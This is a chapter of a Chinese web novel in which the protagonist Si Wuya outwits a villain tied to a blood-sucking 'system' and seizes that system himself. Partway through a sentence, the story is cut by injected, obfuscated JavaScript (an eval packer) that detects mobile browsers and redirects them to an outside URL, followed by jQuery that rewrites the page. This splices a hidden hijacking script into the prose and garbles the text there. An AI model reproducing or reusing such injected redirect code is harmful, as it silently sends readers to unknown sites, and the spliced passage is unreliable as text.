司无涯一觉醒来，发现枕头旁边暖烘烘的。


    “小白眼猫回来了？”


    杏林摇摇头：“没看见啊！”


    司无涯欣喜的心情稍稍降下一些。


    换衣服的时候，他不经意看到胸口有一根黑毛，毛尖带着隐隐的白色……果然回来了！


    司无涯把猫毛放进木匣里，然后便心情愉悦地去了地下室。


    太子亲兵依旧在外面把守着，小麻雀们也尽职尽责，司无涯一来，就叽叽喳喳报告了这一夜的情况。


    “坏蛋的爹来过！”


    “给门外的两脚兽送酒。”


    “门外的两脚兽不要喳！”


    “他隔着门和里面的坏蛋说话！”


    “后来就走了，坏蛋哭他也没回来！”


    所以就是象征性地过来看一眼呗？既能体现自己的慈父形象，又不至于被萧博天连累。


    父爱有，但不多。


    司无涯也没进去，隔着门观察了一下地下室的情况。


    墙壁和地面的木板完好无损，小麻雀们也没有发现有动物进过来，一只蚂蚁都没有，所以，萧博天已经至少一天一夜没得到新鲜的血液了。


    他变得有些虚弱，嘴唇干裂，头发枯黄，瞳孔涣散，仿佛缺水好几天的样子——看来，快要到达他的极限了。


    很好，不用浪费太多时间了。


    司无涯对萧博天没有任何怜悯。


    他仔细问过，太子李玺平日里的饮食十分精细，一日两餐都是太子妃魏禹亲手做的，而且魏禹管他很严，并不允许他吃生食，无论怎么排查，他都不具备长蛔虫的条件。


    偏偏他就得了，还是这个时代的医疗手段很难排查的胆道蛔虫症，更巧的是，萧博天刚好有止疼药——这一切都不像巧合。


    所以，司无涯不能允许有这样的危险分子待在眼皮子底下。


    守卫被司无涯支走了，周围除了小麻雀没有人能听到他们说话。


    司无涯开始试探萧博天：“圣旨很快就会下来，你活不了多久了，就连那个发育不全的系统都救不了你。”


    萧博天果然慌了：“你知道我的系统有缺陷？你也有系统对不对？你的系统任务是什么？”


    司无涯没有说话。他判定系统“发育不全”，是因为系统需要吸血——吸不到血就无法维持运转的系统，不是发育不全是什么？


    萧博天开始威逼利诱：“不管你的系统任务是什么，我们都可以结盟，我可以做开拓者，给这个世界带来瘟疫、战争、灾难，统治者你来做，好不好？”


    开拓者？


    破坏者还差不多！


    司无涯没想到，这个系统比他想象得更加邪恶。


    他继续试探：“我为什么要和你结盟？等你死了，你的系统我自然可以接管。”


    “不可能！一个人不可能有两个系统，你既然被另一个系统选中了，说明你在这个世界最适合担当那个系统角色，就算我死了，这个系统也只会去寻找更加合适的‘开拓者’！”


    萧博天似乎很想活下来，所以情急之下透露了很多信息。说完之后，他才反应过来，“你在套我的话？”


    司无涯轻笑：“还不算太蠢。”


    “我艹￥%……&*……”萧博天骂了一串脏话。


    司无涯冷静地观察着他的状态——胸口有明显起伏，颈动脉剧烈搏动；呼吸急促，肩膀耸起，身体前倾，全身肌肉紧绷；瞳孔放大，鼻尖有细汗——这些，都是肾上腺素飙升的表现。


    司无涯装作被激怒的样子，靠近地下室入口。


    突然，萧博天突破了身体极限，一跃而起，抓住入口处的铁栅栏，然后一把拽过司无涯的胳膊，用力攥住。


    时间的流速仿佛在这一刻被无限放慢，司无涯能清晰地感觉到皮肤被一个尖利的物体刺破——像是加粗的针头——血液顺着“针头”流失，萧博天的嘴唇肉眼可见的红润起来，枯黄的头发也有了光泽。


    司无涯大喊一声：“来人！”


    太子亲军立马冲过来，飞快地将他带离。


    萧博天像一坨失去磁极的铁块，啪嗒一下掉了下去。


    只听“咔嚓”一声，养了没几天的腿又断了，他却像感觉不到疼似的，桀桀地笑了起来。


    “你是不同的！司无涯，你果然是不同的！早知道你的血这么有用，我还去弄那些死猫死老鼠做什么！”


    这不是萧博天的声音……


    这个声音是直接出现在司无涯脑子里的……


    是系统！


    因为吸到了他的血，所以系统和司无涯之间有了微妙的链接。然而，这个链接十分短暂，司无涯还没来得及套话就感受不到对方的存在了。


    不过，够了，他已经得到了他想要的。


    ***


    香梨院，耳房。


    司无涯给手臂消了毒，出血量不大，按照时间和血液流速推算估计只有30cc。


    司无涯用30cc血，换到了十分有用的信息——


    第一，系统有缺陷，需要吸血才能维持运转；


    第二，即使萧博天死了系统也不会消失，而是会在这个世界寻找其他契合的宿主；


    第三，这个系统的任务是破坏这个世界，包括但不限于带来瘟疫，挑起战争，制造灾难；


    第四，不同个体提供的血液对系统的功效不同，目前已知的是，他的血比猫和老鼠效果好；


    第五，也是目前对司无涯来说最关键的一个信息——萧博天利用系统吸血的时候需要和提供血液的一方进行肢体接触；而他在肾上腺飙升的情况下，会突破身体极限，发动系统技能……


    司无涯提出一个大胆的设想：如果使用“生理干预法”，或许有一定的几率切断或者阻碍萧博天和系统的联系。


    这不正是他的强项吗？


    司无涯立即买来大量的缬草、合欢皮等草药，进行捣炼、提纯，配置成了一种可以抑制中枢神经兴奋的药剂。然后，掺入了萧博天的饮食中。


    司无涯的血让萧博天整整兴奋了三天，这三天中他吃好喝好，毫不设防，直到血液的功效渐渐消失，他才意识到不对劲——


    他“听”不到系统说话了。


    就仿佛收音机的频段没有调对，他只能听到一阵嘶嘶啦啦的杂音，却听不到系统具体在说什么。


    司无涯从小麻雀们的汇报中得到了这个消息。


    看来，他的猜测没错，萧博天和系统的联系果然依赖神经介质，当他的中枢神经被抑制，就和系统的频段对不上了。


    “我要见司无涯！让他来见我！”


    “司无涯！你要是不来，我就把你的秘密喊得人尽皆知！”


    萧博天慌了。


    司无涯如他所愿，来到了地下室。


    萧博天这次的状态比之前更差了，像个风烛残年的老人，仿佛下一刻就会咽气。


    “司无涯，是你在搞鬼对不对？你对我做了什么？！”


    “失去系统，你会立刻死吧？”司无涯不答反问，“你在现代是做什么的？年纪是不是还太小，把那些无脑爽文当成了人生宝典？”


    萧博天恼羞成怒：“跟你有什么关系！你快把我治好，我警告你，系统之间彼此相辅相成，如果我死了，你也别想好过！”


    “你以为我在这个世界立足，靠的是系统？”


    司无涯有些同情地看着他，“你以为的‘金手指’，不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112403|179941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过是你用自由和良知换取的短暂力量；你所谓的‘主角光环’，不过是系统利用你之后支付的微薄薪酬——你还没有认清现实吗？这个系统对你来说不是辅助，而是寄生；你对他来说不是相伴相生的宿主，而是随时可以丢弃的耗材。”


    “你胡说！！！”


    现实太残酷，不仅萧博天崩溃了，就连系统都坐不住了。祂突然调高了频段，努力适应萧博天的阈值，想让萧博天冷静下来。


    然而，这样做也暴露了祂自己。


    司无涯捕捉到了那段波频！


    一切发生得太快，就像主机打开了蓝牙信号，在寻找更加匹配的设备一般，距离祂最近的萧博天和司无涯被迫展开了无声的厮杀。即使司无涯想要退出都不行，如果强行退出，他的大脑势必会受到不可逆的损伤。


    既然没有回头路，那就只管往前冲——这是司无涯的人生信条。


    萧博天原本是唯一的匹配“设备”，且处于连接状态，从理论上占尽了优势；怎奈司无涯太强大，无论是大脑开发程度，还是体魄、意志力，甚至灵魂的纯粹程度，都远超萧博天。


    这不仅是司无涯和萧博天之间的博弈，也是系统自己在做两难选择。


    祂虽然可以脱离萧博天，寻找新的宿主，但是，这样做有很大的风险，万一在有限的时间内找不到新的宿主，祂就会被主系统抹杀——祂的同事几乎已经被抹杀殆尽了；就算找到新的宿主，祂也会元气大伤，重回“幼生”状态。


    司无涯确实很强，但是，和祂的系统任务不匹配啊！萧博天又是个草包，继续耗在他身上说不定明天就会被抹杀！


    好难选啊~~~~


    系统干脆躺平摆烂了。


    一旦失去系统这个帮手，萧博天顿时就不占优势了；司无涯的脑电波如洪水过境一般，迅速冲刷过萧博天清浅的脑沟，顷刻间便夺取了系统的主控权。


    这种感觉非常奇妙，司无涯自己都说不清是怎么做到的，当时他脑海里只有一个念头，如果他失败了，势必会在系统的干扰下脑死亡。所以，无论如何他都不能放弃。


    最后，他凭借丰富的神经学知识以及强大的意志力，成功了。


    脑死亡的那个人，变成了萧博天。


    萧博天死之前，丢给他一个重磅炸弹：“你以为得到系统就可以高枕无忧了吗？我告诉你，这个世界还有一个更强大的主脑，你将来所做的一切，不过是为他人做嫁衣！


    “桀桀桀~~~您的系统已上线！”


    “我亲爱的新宿主，准备好成为这个世界的开拓者了吗？”


    司无涯面无表情：“如果你说的‘开拓’就是制造瘟疫、战争和灾难，把这太平盛世搅得一团乱，再强行掉落一个龙傲天摆平一切，走上人生巅峰，对不起，我不干。”


    系统静默了三秒钟，然后发出阴森森的声音：“系统已经长你身上了，这是你想干就干，想不干就不干的吗？”


    司无涯伸出一只手，在眼前晃了晃：“你看这是什么？”


    “手。”系统乖乖回答。


    司无涯用手做了几个动作：“你看，这只手长在我身上，我是不是想让它握拳就握拳，想让它插兜就插兜？”


    系统：“……”


    “不对不对！”


    “我不是你的手！不会任由你摆布！”


    “如果完不成系统任务，你将会受到严厉的惩罚！”


    “会很~痛~哦~”


    “桀桀桀——”


    这个“桀桀桀”是系统的笑声。


    司无涯也笑了：“我一个吃着五谷杂粮，有着七情六欲，读过《上下五千年》的碳基人类，会怕你这个脑子里只有0和1的比特崽？”